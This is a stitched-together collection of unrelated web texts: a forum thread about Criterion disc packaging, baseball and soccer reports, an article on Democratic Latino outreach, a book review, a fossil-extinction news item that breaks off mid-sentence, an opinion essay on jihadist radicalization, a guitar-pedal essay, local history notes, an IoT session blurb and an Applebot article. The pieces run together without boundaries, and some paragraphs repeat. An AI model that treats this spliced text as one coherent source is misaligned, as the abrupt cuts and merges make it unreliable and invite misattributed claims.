-They look nicer and more uniform when lined up
I do think the digipak looks nice aesthetically however, and gives the product a premium/specialty feel.
Scanavo seems willing to discuss this, but as of now, Criterion has voiced no intentions of seeking a new plastic case (if it's even possible). Hopefully with some feedback, both Criterion, and Scanavo can decide on the best approach going forward.
Some visual references:
Clear plastic cases (random google image query):
Digipak (courtesy of Pro-B):
Both types lined up on a shelf (credit:
[Show spoiler] They're finally here guys! Pro-B has posted pictures of the upcoming releases for L'Eclisse, and All that Heaven Allows, and both will feature the new 3-disc case. The cases are slightly thicker than the standard case, as you can see in a pic below. I'm so happy to see this become a reality. Our votes no doubt helped this happen (at least quicker than it would have), so I want to thank everyone once again for voicing your input here.Credit to Pro-B for the first two pics, and Judex for the 3rd-------------------------------------------------------------------------------------------------[SIZE="3][/SIZE]:I'm extremely happy to announce that Scanavo has listened to our Feedback, and will be creating a 3-disc case coming out later this yearThanks so much to everyone here who voiced their opinon about this. It's great to see a company listen, and build on that feedback so quickly---------------------------------------------------------------------------------------------------With the introduction of the Dual Format edition, Criterion has also increased the amount of digipaks they've released. Any release that has more than 2 discs will come in a digipak, or some other custom packaging. These cardboard packages are used because the standard clear cases made by Scanavo can only hold up to 2 discs.I've seen so many people complaining about this in Criterion threads, and I wondered if anything could be done about it. I decided to contact Scanavo directly yesterday, and I received a promising response a few hours later:I decided to create this thread to have a centralized place for people to voice their preferences. There are pros and cons to both of course, and it'd be great to hear what the community has to say. I've created a poll to make that easier as well.For me personally, I like the plastic cases because:-They're thinner, and thus take up less room-They're less prone to damage-They look nicer and more uniform when lined upI do think the digipak looks nice aesthetically however, and gives the product a premium/specialty feel.Scanavo seems willing to discuss this, but as of now, Criterion has voiced no intentions of seeking a new plastic case (if it's even possible). Hopefully with some feedback, both Criterion, and Scanavo can decide on the best approach going forward.Some visual references:Clear plastic cases (random google image query):Digipak (courtesy of Pro-B):Both types lined up on a shelf (credit: Al_The_Strange's gallery Last edited by MifuneFan; 05-30-2014 at 06:23 PM.The Angels are playing the Cardinals, the team Ryan came up with. Then they go to Seattle, where Ryan spent the better part of three Major League seasons. And then, after that, they go to Dodger Stadium, the place Ryan loved as a kid. His wife and kids, the ones he hasn't seen since the end of Spring Training, will be in the stands on Tuesday night. His apartment in Los Angeles, the one he hasn't stepped into since the middle of February, will be waiting for him after the game.
ANAHEIM -- Brendan Ryan has gone from the Nationals' Triple-A affiliate to an Angels club that suddenly needs help at shortstop, resides near his hometown and employs a general manager, Billy Eppler, whom he's quite fond of.
ANAHEIM -- Brendan Ryan has gone from the Nationals' Triple-A affiliate to an Angels club that suddenly needs help at shortstop, resides near his hometown and employs a general manager, Billy Eppler, whom he's quite fond of.
The Angels are playing the Cardinals, the team Ryan came up with. Then they go to Seattle, where Ryan spent the better part of three Major League seasons. And then, after that, they go to Dodger Stadium, the place Ryan loved as a kid. His wife and kids, the ones he hasn't seen since the end of Spring Training, will be in the stands on Tuesday night. His apartment in Los Angeles, the one he hasn't stepped into since the middle of February, will be waiting for him after the game.
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"It just doesn't get better," Ryan said before making his debut in the ninth inning of Tuesday's 8-1 loss. "It really doesn't. I don't know why this luck has been bestowed upon me."
Ryan's luck is a product of the Angels' hardship.
They acquired Ryan from the Nats for a player to be named later or cash considerations on Tuesday, the day after it was revealed that their all-world defender, Andrelton Simmons, would require a surgical procedure on his left thumb that will probably keep him out for at least two months.
Ryan, with a.234/.295/.315 slash line across nine Major League seasons, is a premium defensive shortstop who has displayed versatility over the last couple of years and has been a favorite in every clubhouse he has ever stepped into, from St. Louis to Seattle to New York to Washington, D.C.
A right-handed hitter, Ryan will probably split time with switch-hitting utility infielder Cliff Pennington, who will also occasionally spell Johnny Giavotella at second base.
"Humbling," is what Ryan said of his move back to Southern California. "I don't know. I'm certainly thinking about how lucky and blessed I am at the moment to not only be back in the big leagues, but to be home. I just feel very blessed."
Tweet from @Angels: Welcome to the Halos family, Brendan! pic.twitter.com/dD6PLT1LMB
Simmons is the sixth player on the Angels' disabled list, along with starting pitcher Garrett Richards (likely to undergo season-ending Tommy John surgery), starting pitcher Andrew Heaney (rehabbing to avoid Tommy John surgery), starting pitcher C.J. Wilson (out until at least mid-June with shoulder issues), closer Huston Street (dealing with an oblique strain for the last two weeks) and outfielder Craig Gentry (nursing a back injury).
If nothing else, Ryan can keep things light.
Within his first hour as an Angel, he was already breaking out his famous Robert De Niro and Christopher Walken impressions. He sheepishly bragged about throwing two scoreless innings with the Yankees last season and playfully chafed at an article that stated his new teammate, Pennington, was a better position-player pitcher.
Said Ryan: "I felt good about the barrels I found."
Video: Ryan discusses trade, excitement to be on the Angels
Pitcher is one of seven positions Ryan has played in the Major Leagues. Since the start of 2014, the 34-year-old has also seen time at third base, second base, first base and both outfield corners.
"I feel pretty comfy," Ryan said of moving around. "I've even got a catcher's glove in there just in case. I'm ready for anything."
Ryan signed a Minor League contract with the Nats in February and posted a.917 OPS in Spring Training. But he just barely missed out on cracking the Opening Day roster and instead spent four weeks in Triple-A Syracuse, batting.263/.305/.382 and moving all over their infield.
He called his time with the Nats "a strange situation" and left it at that.
Ryan found out about the trade on Monday night, stayed awake all night and napped on the plane.
"I made darn sure I didn't miss that flight," he said. "I'm pretty charged anyway. I don't need the coffee. I've got that stuff running through my veins."
Ryan arrived clean-shaven, missing the majestic mustache he rocked in his days with the Mariners and Yankees, and he started thinking about bringing it back. The Angels could use just about anything right now.
"I'll see if I can make it contagious in the area, too," Ryan said. "We need to get a winning streak going. I'm big on that and naked somersaults, so, I'll break myself in right away."On Sept. 5, 2014, Democratic National Committee leaders received a proposal for a plan to boost the Hispanic voter turnout rate using direct mail, phone calls, radio ads and news media appearances. The plan urged that the party focus on Arizona, Colorado, Florida, Nevada, New Mexico and Texas. The cost: $3 million.
“While a strong Democratic allegiance is good for the Party, less than half of eligible Hispanics cast a ballot in 2012,” the proposal reads. “The challenge is not persuading Latinos to vote for Democrats ― our challenge in 2014 is TURNOUT.” [Emphasis in the original.]
The plan was ultimately nixed.
The author of the proposal, then-DNC Hispanic Engagement Director Albert Morales, stayed at the committee until 2016, trying to cobble together a budget to build a robust Latino engagement effort. While Democrats publicly gloated about the country’s changing demographics, Morales worried his party wouldn’t capitalize on the shift. The Republican National Committee, despite later selecting Donald Trump as its presidential nominee, was devoting significant resources to Hispanic outreach, including permanent Hispanic staff in 10 states.
“I just asked for what I needed,” Morales told HuffPost. “I ended up getting closer to $300,000 and it all went to radio. … It was just pitiful.”
Trump’s surprising defeat of Democratic nominee Hillary Clinton has sparked spirited finger-pointing and soul-searching among party leaders. The question of whether Democrats should have done more to win Latino votes is high on the list.
Media reports trumpeted a Hispanic voter “surge” in last week’s election. But it won’t be clear whether the Hispanic turnout rate rose significantly until the census releases its voter report in the spring, according to Mark Hugo Lopez at the Pew Research Center’s Hispanic Trends Project.
Hispanic turnout has broken records for the last few presidential elections, based partly on population growth. Still, it continues to lag far beyond turnout rates for non-Hispanic whites and blacks.
Both Morales and Pablo Manriquez, who worked for a year and a half as the DNC’s Hispanic media director, described an atmosphere in which their pleas to invest in Latino engagement often were met with disinterest. Manriquez said he at times paid his own bus fare and slept on friends’ sofas to meet with Hispanic television and news executives in New York.
“There was only one other Hispanic in the entire third floor,” Manriquez said of his time at the DNC. “And when I did see one I had to speak to them in Spanish so people wouldn’t try to undercut us from doing our job.”
Both Morales and Manriquez left the DNC during the presidential campaign, leaving the committee for weeks without a Spanish speaker on its media staff.
The DNC did not respond to multiple phone calls and emails requesting comment.
The rise of Trump, who campaigned using Mexican immigrants as a punching bag and promising draconian anti-immigration policies, offered Democrats a historic opportunity to bring a rising Hispanic electorate into their ranks.
But confidence that Hispanics would recoil from the Republican nominee may have led to complacency when it came to traditional campaign tasks like canvassing, Spanish-language television ads and an aggressive media strategy.
Trump’s election, according to critics of the party, shows that Democrats failed to prioritize Latino engagement where it matters most: boosting voter registration and a turnout rate that historically fails to top 50 percent.
Spencer Platt via Getty Images
“The reality is the Democrats have not done enough,” said Simon Rosenberg, who helped pioneer Hispanic outreach efforts for the party and now serves as president of NDN, a think tank. “I hope that the perception that the Hispanic vote is really important to the Democrats helps change behaviors in the Democratic Party itself.”
Outside the DNC, independent civic organizations like the National Association of Latino Elected Officials, Mi Familia Vota and Voto Latino organized national registration drives. A group of liberal donors, including billionaire George Soros, spent $15 million on turnout efforts in battleground states with large Latino or Asian-American populations.
The Clinton campaign itself viewed Hispanics as a key constituency and made robust efforts to reach them. Clinton recruited Lorella Praeli, a prominent immigrant rights activist who was once undocumented herself, into the campaign to work on outreach. Clinton aired an ad early in the general election campaign featuring the candidate promising to take care of a young girl worried about her parents being deported. Her staff organized campaigns to reach Hispanic voters through text messages and Facebook Live chats. And the campaign sank $10 million into more traditional ads, including more than 50 that ran on television in both Spanish and English, and 30 Spanish-language radio ads.
But even before Clinton’s stunning election loss, some critics wondered why her campaign’s Latino outreach strategy appeared to depart from what had served President Barack Obama well.
Fernand Amandi, a pollster and political consultant, helped develop Obama’s media strategy in Florida for the 2012 campaign. His plan called for airing television ads in English and Spanish, beginning a year before the election, highlighting positive themes rather than negative ones, and having extended conversations on Spanish-language broadcasters like Univision and Telemundo.
With just two months remaining before Election Day, however, Clinton had for the most part neglected Spanish-language television ads in Florida. She went on to lose the state, partly due to her weakness among Cuban American voters.
“If you believe that [Obama’s 2012 campaign] was a successful approach, many of those rules were violated in this campaign,” Amandi told HuffPost.
Lisa Garcia Bedolla, a political scientist who studied how the anti-immigrant politics of the Gov. Pete Wilson era turned California blue, said Clinton’s campaign erred in thinking that Trump alone would lead to greater Latino political participation. Her research shows the most effective way to mobilize unregistered voters by far isn’t radio ads, Facebook Live chats or media appearances. It’s old-fashioned neighborhood canvassing.
“You have to be in a position of privilege to assume that insults will automatically lead to action,” Bedolla told HuffPost. “You have to have a sense of entitlement to some extent to think that it’s your right to have a voice. … If you are from a marginal community and don’t feel tremendously empowered and you feel like the system doesn’t work for you, it is irrational to take that insult and assume it will move people to action. It’s just as likely to make you more disaffected from the system.”
A grassroots coalition called One Arizona succeeded in turning out the Hispanic vote by applying traditional campaign conventions. One Arizona registered 150,000 Latino voters this year, largely by sending volunteers to knock on doors. (For context, the multimillion-dollar, celebrity-studded nonprofit Voto Latino registered 177,792 people nationally, over a longer period.) One Arizona’s efforts played a major role in unseating Sheriff Joe Arpaio, a fixture of hardline immigration politics in the conservative-dominated state for two decades.
“This is about community organizing rather than electoral campaigning,” Viridiana Hernandez, a board member of the People United for Justice group that led the anti-Arpaio campaign, told HuffPost. “When we were at people’s door, it wasn’t that people didn’t want to vote. It wasn’t that people didn’t care. It was that people didn’t know how, they didn’t understand the process.”
Perhaps the greatest symbol of Democratic disinterest in cultivating the Hispanic vote came in Texas ― widely viewed as an incontestable Republican territory, despite being a majority-minority state.
Battleground Texas, the political action committee founded in 2013 with the goal of turning the state purple, pulled in $3.4 million in the 2014 cycle to support Wendy Davis’s unsuccessful gubernatorial candidacy, according to data published by Open Secrets. This year, Battleground Texas raised just $324,000.
JEWEL SAMAD via Getty Images US Democratic presidential candidate Hillary Clinton makes a concession speech after being defeated by Republican president-elect Donald Trump in New York on November 9, 2016. / AFP / JEWEL SAMAD (Photo credit should read JEWEL SAMAD/AFP/Getty Images)
It’s unclear whether a different Hispanic engagement strategy would have carried Clinton to the presidency in an anti-establishment year that bucked analysts’ expectations and made polls look less reliable than coin tosses. Even if Clinton had won Florida and Arizona ― the two states she lost with the highest Hispanic populations ― she still would have been two electoral votes shy of the 270 she needed to win.
But there’s no doubt that increased turnout would have benefitted both Clinton and the Democratic Party’s down-ballot candidates. Exit polling data showed Trump winning 29 percent of the Hispanic vote ― a slight improvement over 2012 GOP candidate Mitt Romney’s abysmal performance. Latino Decisions, a polling group that specializes in surveying Hispanics and strongly criticizes exit polls’ measure of the Latino vote, placed Trump’s support well below that ― just 18 percent ― in a survey ahead of Election Day.
The exit poll also showed that Hispanics made up only 11 percent of the electorate ― a modest increase more or less consistent with population growth. If that’s true, neither the Democratic Party’s efforts nor the fear of Trump paid the dividends many people expected.
But Matt Barreto of Latino Decisions said the exit poll shouldn’t be trusted. While cautioning that it’s not possible to estimate Latino turnout without the actual data, he said he sees evidence of significant growth from heavily Hispanic precincts like the Rio Grande Valley in Texas and Miami.
“We won’t know those numbers until we get all the precinct data,” said Barreto, a principal of Latino Decisions, which was a consultant to the Clinton campaign. “But so far, we don’t have any precincts where the turnout was lower. We’re seeing the opposite of that. All these areas have between a 2 and 16 percent increase over 2012.”
If those numbers hold up, it would be good news for Democrats and might soften criticisms. But it wouldn’t mean the party can ease its efforts. In the last midterm election, Hispanic voter turnout fell to a record low.
This story has been updated to include updated Voto Latino registration numbers.A handy little tip for writers is that if you're going to write a novel that takes place in America, where all the characters are in fact American, they should speak in American terminology. I tried to ignore the constant British way of speaking, but found I can no longer do so. I'm about 70% through the book and my befuddlement has turned to outright disgust that the author, who is obviously British, couldn't be bothered to make sure her characters speak like Americans.
To J.B. Turner: Americans stay over at their girlfriend's house, not at hers. We always say "the hospital," and not merely "hospital." We don't pop round, but we might drop by. We call it the "restroom," "ladies room," "bathroom," or "powder room," but never the "toilet." I could go on but there are far too many examples in this book to have kept track of them all. I'm assuming you've spent some time in Miami, where the setting of this book is, too bad you didn't actually listen to the people around you when they were speaking.New Delhi, Nov. 12: India’s search for oil has revealed a geological club sandwich of fossils that scientists say is the first direct evidence for the theory that volcanic eruptions in western India caused the mass extinction that wiped out the dinosaurs.
Scientists from India, Switzerland and the US who studied tiny fossils sandwiched between volcanic layers beneath the Krishna-Godavari basin and the Bay of Bengal have discovered a pattern of declining fossil diversity that links the eruptions to the extinction.
Researchers have speculated for over 30 years that massive volcanic eruptions in India’s Deccan region, about 65 million years ago, poisoned the Earth’s atmosphere and eliminated above three-fourths of the world’s species. But robust evidence for this theory has remained elusive.
The new study of the Krishna-Godavari basin fossils has shown a stepwise elimination of species after each pulse of volcanic eruptions, a pattern never observed before. The study has appeared this month in the Journal of the Geological Society of India.
“This is the first fossil evidence to suggest a direct cause-and-effect relationship between the Deccan eruptions and the extinction,” said Gerta Keller, a professor of geoscience at Princeton University in the US, and the lead investigator of the study.
Keller collaborated with palaeontologists at the Oil and Natural Gas Commission (ONGC), Chennai, and Lausanne University to analyse fossil-bearing sediments extracted through 10 wells in the Krishna-Godavari basin and one in the Bay of Bengal drilled by the ONGC as part of oil exploration work.
The scientists believe their findings fill long-standing gaps relating to the duration of Deccan volcanism and its effect on creatures of that period. Earlier studies have suggested that these eruptions occurred in three distinct phases separated by a few hundred thousand years, but each series of eruptions spewing enormous amounts of lava, at times creating rivers of molten rock stretching 1,500 kilometres to the Krishna-Godavari basin.
The separation of the lava flows over time in the Krishna-Godavari basin gave rise to unique geological layers of fossil-bearing sediments sandwiched between solidified lava.
The fossil analysis by Keller and her team suggests that the diversity of tiny marine organisms in the Krishna-Godavari region reduced from 43 species before the first phase of volcanism 67.4 million years ago to 28 species, and then to 14 species during the second phase about 65 million years ago. Keller worked with the ONGC geologists Bomma Jaiprakash, Adula Reddy, P.K. Bhowmick, H. Upadhyay, A. Dave, and Lausanne palaeontologist Thierry Adatte.
The sediments show a single surviving organism when the second volcanic phase ceased. Keller calls the organism, Guembelitria cretacea, “disaster opportunist” that, like other surviving species, inherited the world because it could survive extreme stress conditions.
The results again challenge a popular theory proposed in the 1980s that an asteroid striking the Earth caused the mass extinction 65 million years ago.
Keller had also questioned the asteroid theory two years ago showing that |
to belong, not the belief. They are consumed by rage and frustration and seek out a belief system that justifies acting out their evil urges — not the other way around. Many are ne’er-do-wells who have spent time in prison and possess unstable family backgrounds, but the son of privilege who abandons a life of comfort to wage jihad abroad is a Salafi cliche for a reason. Many are born Muslims who revert to a faith they never seriously practiced in their youth, while others are converts. Most are young, with many still in their teens, but the nearly middle-aged are not unknown in jihadist ranks either. Their psychology in many cases resembles that of a spree killer more than any popular conception of an arch-terrorist, while their ideology — a cut-and-paste version of Qutbism, dumbed-down for the online generation, that thrives on hate — is astonishingly consistent worldwide. Women often play an important role behind the scenes in radicalizing their men and keeping them that way.
One trend that is clearly visible among Western jihadists is the prominence of online recruiting and propaganda. Most young Salafis today enter the movement virtually, becoming markedly radical before ever meeting another extremist in the flesh. The time required to become dangerously extreme has shortened noticeably, no doubt due to the prevalence of online jihadism, the digihad, if you like. Back in the 1990s, most Westerners who “joined the caravan” (to use the movement term) were radicalized gradually, over months and even years, slowly turning their backs on their old life, while it is now commonplace to see young men who decide to abandon normalcy in favor of the jihad after only a few months of radicalization, and sometimes only a few weeks. All this makes it increasingly difficult for Western security services to track would-be terrorists, or to differentiate the merely extreme from the positively dangerous.
While the United States has been fortunate in many ways compared to Europe, possessing a Muslim community that is proportionately smaller and far less radicalized than in much of the European Union (EU), there is no reason to think that this will last forever. Americans are fighting with IS abroad too and some will return home with jihad still on their minds. The FBI, with the Intelligence Community, has done a commendable job since 9/11 keeping the domestic terrorism threat largely under wraps, aided by the fact that most of America’s homegrown jihadists to date have been frankly inept, some of them almost comically so. That, too, is a trend that is unlikely to continue indefinitely.
America has no room for comfort as it confronts the Salafi jihadist threat. The enemy’s desire to strike the United States directly remains as great as it ever was, while the fact that we functionally do not have border security means that any terrorists who seek to enter the country illegally will have no more difficulty than the millions of Latin Americans who have infiltrated without detection. Moreover, the large numbers of extremists possessing EU passports (and Canadian too: about 130 Canadians are currently fighting in Syria and Iraq), who are able to enter the USA without a visa, mean that attacks on the country can be handled by foreigners easily.
What, then, is to be done? Legal changes are in order if we are serious about defeating this enemy. Some European countries have recently criminalized going abroad as a foreign fighter, or facilitating that, and this is something that all Western countries should adopt promptly. While this will not cease jihad tourism, it will certainly complicate matters for would-be holy warriors. Westerners who do engage in jihad abroad should be deprived of citizenship and told to not come home, ever. While free speech is to be defended, it should at least be asked if engaging in jihadist propaganda ought to be criminalized (as, say, Holocaust denial has been in much of the EU). At a minimum, those who engage in material support of any Salafi jihad-related activity should face severe legal penalty.
In the United States, this also means we must end our security-theater act and get serious about stopping terrorism. The terrorist threat to our airlines is as great as it has ever been, as Attorney General Eric Holder recently admitted, citing his “extreme, extreme concern” about the threat emanating from Syria. The TSA is equal parts laughingstock and nuisance and needs to be wholly revamped into a serious security agency, relying on profiling rather than making life difficult for countless innocent people every day. “America doesn’t have an airline security system, America has a system for bothering people,” said the former head of security for El Al, Israel’s national airline, and seldom have truer words been spoken.
Yet the long-term way to defeat, rather than merely deter, Salafi jihadism, is through intelligence and covert action, not war in any conventional sense. While pummeling IS kinetically in Iraq and Syria is a necessary first step, it is only the beginning. The military defeat of the Islamic State by Western airpower and commandos, aided by local proxies, will set the stage for the strategic defeat of their movement. What must follow is a version of what I term Special War, tailored for counterterrorism, combining offensive counterintelligence, denial and deception, and long-term manipulation of the jihadists leading to their collapse and self-immolation.
That strategy is the topic of a forthcoming blog post ….
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Print“If the doors of perception were cleansed every thing would appear to man as it is, infinite. For man has closed himself up, till he sees all things thro’ narrow chinks of his cavern.”
So wrote William Blake in The Marriage of Heaven and Hell. A smart man, no doubt, with a fascinating observation about how we interact with the universe: We limit ourselves by dogma and consequently miss out on many, many goodies.
Goodies are good. We all like goodies. According to Blake, there are many goodies in front of us, just waiting to be plucked, but we can’t see them and therefore miss out. We don’t see the whole picture.
I agree.
Well and good, you may say, but what in Boba Fett’s name does this have to do with guitar pedals? The answer is: everything.
Back in Time.
Pretend it’s 1990. I’m about to turn 15. Over the previous eight months I’ve developed an unhealthy fixation with the guitar and all thing associated with it. I purchase Ralf Denyer’s The Guitar Handbook and absorb many facets of the great mystery. As my birthday approaches I scour the local paper’s “For Sale” section and am finally rewarded: “Guitar effects pedals for sale.” My ever-patient father drives me the 45-minute journey out into the middle of nowhere to purchase three devices: a light blue Ibanez “script” phaser (wonderful), a Turbo Rat (heinous—light years from the glory of the standard Rat I would later come to know and love), and finally, a giant orange DOD Flanger.
I had an idea what the phaser did—my father’s Dire Straits records opened that door. I knew about overdrive, so I understood the Turbo Rat. But the Flanger? What the hell did that do? I had no point of reference. “Regen”... What?
Imagine when Jimi Hendrix tried out Roger Mayer’s Octavia, or Jimmy Page tried the Tone Bender, or Keith tried the Maestro Fuzz-Tone. How would they have approached these sonic tools?
This lack of knowledge or preconception led me to sit with guitar, amp, and pedal and just play—feeling it out, experiencing the sonic unknown, and letting it lead me on a merry jaunt. Marvelous. Having no preconceptions meant my mind was open to all possibilities. I was not viewing it “thro’ narrow chinks of my cavern.”
Too Much Information?
Today’s world is one of information overload. It can feel like nothing is unknown. Apparently all mysteries can be Wikipedia’d or explained via a YouTube clip. Every forum has myriad members who seem to know all the answers.
Today’s equipment purchases generally involve research—gaining a feel for the various products offered in our area of interest. Looking for fuzz pedals, for example, might involve weeks of viewing YouTube demos and reading endless forum threads and magazine reviews. We watch/listen/read to learn the pros on cons of Pedal X vs. Pedal Y.
But remember the time where this was not the case. When people tried out something new and unknown with no preconceptions, no bias. Imagine when Jimi Hendrix tried out Roger Mayer’s Octavia, or Jimmy Page tried the Tone Bender, or Keith tried the Maestro Fuzz-Tone. How would they have approached these sonic tools? Certainly not with the cart before the horse! They would have explored, played, twiddled, and tweaked till something felt interesting, cool, or magical. Till something started appearing. Open minds and ears open doors to … goodies. Just listen to “Foxy Lady,” “Dazed and Confused,” or “Satisfaction.”
Strange things happen in the world we now live in. I recall posting a four-minute clip of a prototype pedal I’d designed. This clip was reposted on a number of forums, and soon there were comments from people discussing its pros and cons in depth. Surreal, considering no one other than me had played through it. And yet people were so assured of their opinions that they were comfortable passing judgment on something they’d not played through.
Imagine if Jimi had adopted that attitude! “Yeah, sorry man, but uh, you know … I already have one modulation effect. I kinda know how they all sound.”
Embrace the Mystery
As creators we have a responsibility to embrace the mystery anywhere we can find it. Let us open our minds and welcome the infinite with open arms. Let’s suck the marrow out of everything that comes our way. Everything has potential.
My challenge to you, dear reader, is to go over to your guitar rig, plug everything in, and start fiddling. Change all your settings. Plunge into the unknown. Set aside everything you know and use your ears to navigate the void.
“Well, I’m bold, bold as love … I’m bold as love … just ask the axis.”The Rosemary was a small theater in Chinatown, which fit less than 500 ticket holders in their main room, and balcony. The cinema specialized in kung fu features and B-movie fare when it opened in 1978, but by the late 80s started showing porno on weekends. By 1990, porn flicks were their staple until they closed their doors in 1996.Found at 133 Canal Street (between Bowery and Chrystie Street), they re-opened the following year as a Mahayana Buddhist temple.Where there once was a canvas screen a thousand freaks freaked to, now sits a huge, golden Buddha. The statue is 16ft (5m) high, and is hollow within.Along the walls of the main hall are lithographs depicting the Buddha's history and deeds, as well as ritual drums and instruments.If you visit, be careful where you point your camera, as photos are not allowed in certain areas, and of certain religious objects and offerings.After you've donated a buck, pick your fortune from the stacks of yellow bundles found throughout the place, and head a few blocks south to the corner of Bowery and Pell Street to see the Edward Mooney house.Finished in 1789, it is now Manhattan's oldest row house still standing.The home was constructed by affluent butcher Edward Mooney, on land confiscated from British Loyalist James De Lancey, so as to be near the slaughterhouses where he made his fortune. After his death in 1800, the joint was passed from buyer to buyer, one of which extended the structure in 1807. Since that time, the building had functioned as a saloon, hotel and even a brothel, but is now a bank.The residence was made a landmark in 1966, and entered into the National Register of Historic Places in 1976.This is the video recording of ProcessOne IoT Studio session #1. At the core of the discussion is an introduction to Internet of Things protocols. Here are the topics / questions that we covered during that session:
What are the main classes of protocols for the Internet of Things?
What are the strengths of XMPP for the Internet of things?
What are the main XMPP Extensions for building the Internet of Things?
How can I leverage XMPP to build a real device / appliance?
As such, the session ends with a hands-on demonstration of a Soundcloud connected Jukebox built with:
– Raspberry Pi 2
– Connected to ejabberd
– Client is developed in Go using Go XMPP library.
Example code for the XMPP jukebox is available on Github: xmpp_jukebox.go
Please, send us your IoT questions for the next event!
For those who just need access to the slides, they are on Slideshare:Rumors that Apple might be creating its own search engine started doing the rounds last fall, when webmasters started seeing web crawler visits from IP addresses starting with 17 – the IP address block owned entirely by Apple. Apple has now officially confirmed in a support document that it is operating its own web crawler called Applebot.
Applebot is the web crawler for Apple, used by products including Siri and Spotlight Suggestions. It respects customary robots.txt rules and robots meta tags. It originates in the 17.0.0.0 net block.
While the wording is clearly intended to suggest that this is just business as usual, both the fact that Apple is running its own web crawler at all, and the somewhat vague wording, are interesting …
NordVPN
Siri mostly uses Bing and Wolfram Alpha for its web searches, so one could ask the question why Apple would need to do its own indexing of the web? The wording of the support document too is somewhat vague: products including Siri and Spotlight Suggestions. This would certainly leave open the possibility that Apple is working on something bigger.
Is it likely that Apple is developing its own search engine, with plans to take on Google, Bing and Yahoo? I think not, for two reasons. First, Apple remains a hardware company using online services primarily to increase the attractiveness of its physical products. Sure, iTunes would be a Fortune 500 business in its own right – and will grow further when the revamped Beats Music service is launched later this year – but the ecosystem is really there to sell shiny new toys.
Second, Apple has long rejected ad-funded models, Tim Cook stating last year that free online services turned users into a commodity to be sold.
A few years ago, users of Internet services began to realize that when an online service is free, you’re not the customer. You’re the product. But at Apple, we believe a great customer experience shouldn’t come at the expense of your privacy. Our business model is very straightforward: We sell great products. We don’t build a profile based on your email content or web browsing habits to sell to advertisers.
The likelihood, then, is that Applebot is exactly what it seems: simply a tool to supplement existing third-party search engines to ensure that Siri and Spotlight are delivering the best results. Google, Bing and Yahoo are likely to remain in competition to be Apple’s default search engine for some time yet.FC Tucson's Miloš Dragić scored a goal in the final minutes of a preseason match against the New England Revolution, but Tucson fell to the Major League Soccer team by a score of 2-1. Both New England goals were scored by their Gambian players, Sainey Nyassi and Kenny Mansally.
The tune-up match was the first against outside competition for both teams and followed an unusual format: two periods of 35 minutes followed by a final 45 minute period.
Tucson's back line, helmed by center backs Connor Spence and Kareem Smith, kept New England scoreless in the first period despite the Revolution holding possession for most of the frame. New England outside midfielder Jeremiah White was particularly troublesome because of his speed, but Tucson's new keeper Cody Suppe was able to save his shots.
The first Rev goal came after the break, when their first-round draft pick Kelyn Rowe sent a cross to Nyassi, who headed it past Suppe in the 37th minute.
The third "half" started with a raft of changes for both teams. Most notably for the Revs was the replacement of long-time netminder Matt Reis with backup Bobby Shuttleworth.
FC Tucson was able to keep the Revs from scoring, until the 89th minute when Artery Martinez was whistled for a take down of the Revolution's Ryan Kinne in the penalty box. Suppe, who was one of the few players to stay in for all 115 minutes, made a bad guess and dove the wrong way as Mansally calmly placed it in the back of the net.
Both the Revs and Tucsonenses had one more group of changes to make. It wasn't long afterward that Tucson's Dragić took advantage of a Revs error and hit a low ball that snuck past Shuttleworth for Tucson's only goal of the match.
In the final moments, right winger Juan Mendez tried to even it up with two shots on the Revs goal. Neither of his spirited attempts was on frame and the final whistle blew.
'They did Tucson proud'
Head coach Rick Schantz was more than a little happy about the performance of his team against the big boys.
"They were expected to fall apart, but they did a great job."
Schantz had particular praise for the defensive tandem of Connor Spence and a new team member, Kareem Smith.
"Our center backs were fantastic, our outside backs were great too," he said, although he lamented that due to the Revs speed on the wings, the outside backs were unable to push up.
FC Tucson general manager Jonathan Pearlman, who had a hand in bringing Smith to the team, called his performance "tremendous."
Schantz had high praise for his entire squad.
"They did Tucson proud. They made the badge on that shirt a little shinier."
After a performance like that, maybe a bit of hyperbole is called for.
The Revs speak
Newly installed Revolution head coach Jay Heaps was satisfied with the competition provided by FC Tucson.
"They were a physical team, had some pace. They were tough to break down, which is always what you want in your first couple of challenges," Heaps said after the game.
"They were a good team, they made us work hard," said the Revolution's Benny Feilhaber. This is the second of three trips Feilhaber will made to Arizona this pre-season. He came here last week as part of the U.S. National team and will return with the Revs for the Desert Diamond Cup.
Heaps admits that the Revs have some more work to do before they face MLS opponents in that return to our state at the end of next month.
"We have a long way to go," he said.
"We're starting to establish that we are a possession oriented team. We want to keep the ball and we did that tonight. But, we didn't break guys down; we didn't get in behind; we weren't as dangerous as we wanted to be. That's something we're going to work on."
Three halves
"They were accommodative, they let us choose the halves and the time," Heaps said, referring to the unusually long match broken into three periods. "Rick [Schantz] was really good about that."
Schantz was happy to follow Heaps's wishes, and not just because he wanted to be good to a team that he'll be hosting in a few weeks.
"I think they expected me to react differently, but I figure that the more minutes my players are exposed to MLS is good."
The unusual format was because Heaps wanted to give his core players a longer time on the field with a seventy-minute "game within a game" as he called it. This is longer than the sixty minutes they have been playing in practice.
This also enabled him to get a few newer players who aren't yet match fit into a game situation: two Colombian players, Fernando Cardenas and John Lozano are new to camp this week. Jeremiah White played his last competitive match for GKS Bełchatów in the 2010 Polish Ekstraklasa season.
Unfamiliarity breeds...
"It was amazing," said Miloš Dragić of his first goal scored against a professional team.
"We played well, even though we really didn't know each other that well," he said of his teammates.
There is a core of local players on the squad, many of whom are familiar with each other, but then there are also Phoenix area players like Dragić plus some that come from either further afield.
Kareem Smith hails not from Arizona but for Trinidad and Tobago. He has five caps for his national team and has previous experience with Klaksvíkar Ítróttarfelag in the Faroe Islands and United Petrotrin back home in Trinidad. He's new to FC Tucson but feels he fits in with the team.
"I had a good time playing with my fellow center back, Connor [Spence]. The whole team played solid. I liked the way the defense was organized."
Smith has a background playing against professionals, but many of his fellow players don't. He admits that many were "tense" and had "a bit of nerves."
"They are above the average because they are professional, but a lot of our guys have the potential to play on the professional level. Once they felt they could play with these guys, they were more confident on the ball."
And next?
"Fitness wise? We still need to work. We're about 70% ready," said forward Miloš Dragić describing one issue common to teams in a pre-season, even more so to one that is not a pro side.
Rick Schantz pointed to the issue as well, especially seeing as how the outside midfielders couldn't keep up with the Revs as the game wore on.
"Their guys were shot out of a cannon; ours were shot out of a sling shot," he said.
Fitness will not be the only issue in upcoming matches for the squad.
FC Tucson is scheduled for a closed door scrimmage against San Jose Earthquakes on Wednesday. San Jose, like the Revolution, is rebuilding their squad this year. Despite this, Schantz thinks they will be a bit more wary of Tucson than the Revs were.
"San Jose will know about this game," he said, "and no one wants to be the guys that lose to FC Tucson."
